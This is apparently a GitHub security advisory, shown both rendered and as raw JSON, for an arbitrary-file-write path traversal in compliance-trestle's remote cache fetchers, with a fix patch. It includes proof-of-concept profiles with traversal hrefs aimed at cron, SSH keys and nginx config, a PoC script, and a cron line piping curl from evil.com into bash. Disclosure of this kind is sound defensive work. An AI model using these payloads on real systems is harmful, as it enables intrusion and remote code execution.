Search criteria

Related vulnerabilities

GHSA-G3VG-VX23-3858

Vulnerability from github – Published: 2026-05-27 22:57 – Updated: 2026-05-27 22:57
VLAI
Summary
compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal
Details

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 — Content written to traversed path

    def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path

cache.py:328-333 — SFTPFetcher (identical pattern)

class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

Root Cause: 1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../ 2. pathlib.Path(u.path).parent preserves traversal sequences 3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache 4. mkdir(parents=True, exist_ok=True) creates intermediate directories 5. write_text(response.text) writes attacker-controlled content to traversed path 6. No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

PoC: Cache Path Traversal Simulation

#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))

Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

        # ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]

        # ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )

Same fix required for SFTPFetcher at lines 328-333.

References

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

1. Cron Job Injection → Remote Code Execution

# Profile that writes a cron job
imports:
  - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"

Attacker's server responds with:

* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

imports:
  - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"

Attacker's server responds with their SSH public key.

3. Config File Overwrite

imports:
  - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:57:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe compliance-trestle library\u0027s remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.\n\n**Attack chain:** Malicious OSCAL profile \u2192 HTTPS fetch \u2192 cache path traversal \u2192 arbitrary file write \u2192 RCE (via cron, SSH keys, etc.)\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n## Vulnerable Code\n\n### cache.py:259-266 \u2014 HTTPSFetcher cache path construction\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        # ...\n        u = parse.urlparse(self._uri)\n        # ...\n        if u.hostname is None:\n            raise TrestleError(f\u0027Cache request for {self._uri} requires hostname\u0027)\n        https_cached_dir = self._trestle_cache_path / u.hostname\n        # \u274c path_parent preserves ../ sequences from URL\n        path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)  # \u274c Creates dirs outside cache\n        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n### cache.py:285-295 \u2014 Content written to traversed path\n\n```python\n    def _do_fetch(self) -\u003e None:\n        # ...\n        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)\n        if response.status_code == 200:\n            result = response.text  # \u274c Attacker-controlled content\n            self._cached_object_path.write_text(result)  # \u274c Written to arbitrary path\n```\n\n### cache.py:328-333 \u2014 SFTPFetcher (identical pattern)\n\n```python\nclass SFTPFetcher(FetcherBase):\n    def __init__(self, ...):\n        # Identical path construction \u2014 same vulnerability\n        sftp_cached_dir = self._trestle_cache_path / u.hostname\n        path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n        sftp_cached_dir = sftp_cached_dir / path_parent\n        sftp_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n**Root Cause:**\n1. `urlparse(\"https://evil.com/../../../tmp/pwned.json\").path` = `/../../../tmp/pwned.json` \u2014 preserves `../`\n2. `pathlib.Path(u.path).parent` preserves traversal sequences\n3. `cache_dir / hostname / \"../../../../../../tmp\"` resolves outside cache\n4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories\n5. `write_text(response.text)` writes attacker-controlled content to traversed path\n6. **No `is_relative_to()` boundary check** on the resolved path\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml \u2014 arbitrary file write via cache traversal\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\n```\n\n### PoC: Cache Path Traversal Simulation\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Cache path traversal \u2192 arbitrary file write\"\"\"\nimport os, re, tempfile, shutil\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Simulate trestle cache behavior (cache.py:259-266)\ntrestle_root = Path(tempfile.mkdtemp(prefix=\"trestle_poc_\"))\ncache_dir = trestle_root / \".trestle\" / \".cache\"\ncache_dir.mkdir(parents=True, exist_ok=True)\n\nevil_url = \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\nu = urlparse(evil_url)\n\n# Exact trestle code path\ncached_dir = cache_dir / u.hostname\nm = re.search(r\u0027[^/\\\\\\\\]\u0027, u.path)\npath_parent = Path(u.path[m.span()[0]:]).parent\ncached_dir = cached_dir / path_parent\ncached_dir.mkdir(parents=True, exist_ok=True)\ncached_file = cached_dir / Path(Path(u.path).name)\n\nprint(f\"Cache dir: {cache_dir}\")\nprint(f\"Resolved write target: {cached_file.resolve()}\")\n# Output: /tmp/trestle_pwned.json \u2190 OUTSIDE cache directory!\n\n# Write attacker content\nattacker_payload = \u0027*/5 * * * * root /bin/bash -c \"id \u003e /tmp/rce_proof\"\u0027\ncached_file.write_text(attacker_payload)\nprint(f\"Written: {cached_file.resolve().read_text()}\")\n\n# Cleanup\nos.remove(str(cached_file.resolve()))\nshutil.rmtree(str(trestle_root))\n```\n\n**Expected:** Write confined to `.trestle/.cache/` directory\n**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)\n\n\n## Remediation\n\n### Fix for HTTPSFetcher (cache.py:259-266):\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        # ...\n        u = parse.urlparse(self._uri)\n        https_cached_dir = self._trestle_cache_path / u.hostname\n\n        # \u2705 Sanitize path: remove traversal sequences\n        safe_path = pathlib.PurePosixPath(u.path).parts\n        safe_path = [p for p in safe_path if p != \u0027..\u0027 and p != \u0027/\u0027]\n        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) \u003e 1 else pathlib.Path(\u0027.\u0027)\n\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = https_cached_dir / safe_path[-1]\n\n        # \u2705 Boundary check\n        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):\n            raise TrestleError(\n                f\"Cache path traversal blocked: URL \u0027{uri}\u0027 resolves to \"\n                f\"\u0027{self._cached_object_path.resolve()}\u0027 outside cache directory\"\n            )\n```\n\nSame fix required for SFTPFetcher at lines 328-333.\n\n## References\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n### 1. Cron Job Injection \u2192 Remote Code Execution\n\n```yaml\n# Profile that writes a cron job\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/cron.d/backdoor\"\n```\n\nAttacker\u0027s server responds with:\n```\n* * * * * root /bin/bash -c \u0027curl https://evil.com/shell.sh | bash\u0027\n```\n\n### 2. SSH Authorized Keys Injection\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../root/.ssh/authorized_keys\"\n```\n\nAttacker\u0027s server responds with their SSH public key.\n\n### 3. Config File Overwrite\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf\"\n```\n\n### 4. Python Path Hijacking\n\nWrite malicious `.py` file to a location on `sys.path` for code execution on next import.",
  "id": "GHSA-g3vg-vx23-3858",
  "modified": "2026-05-27T22:57:38Z",
  "published": "2026-05-27T22:57:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal"
}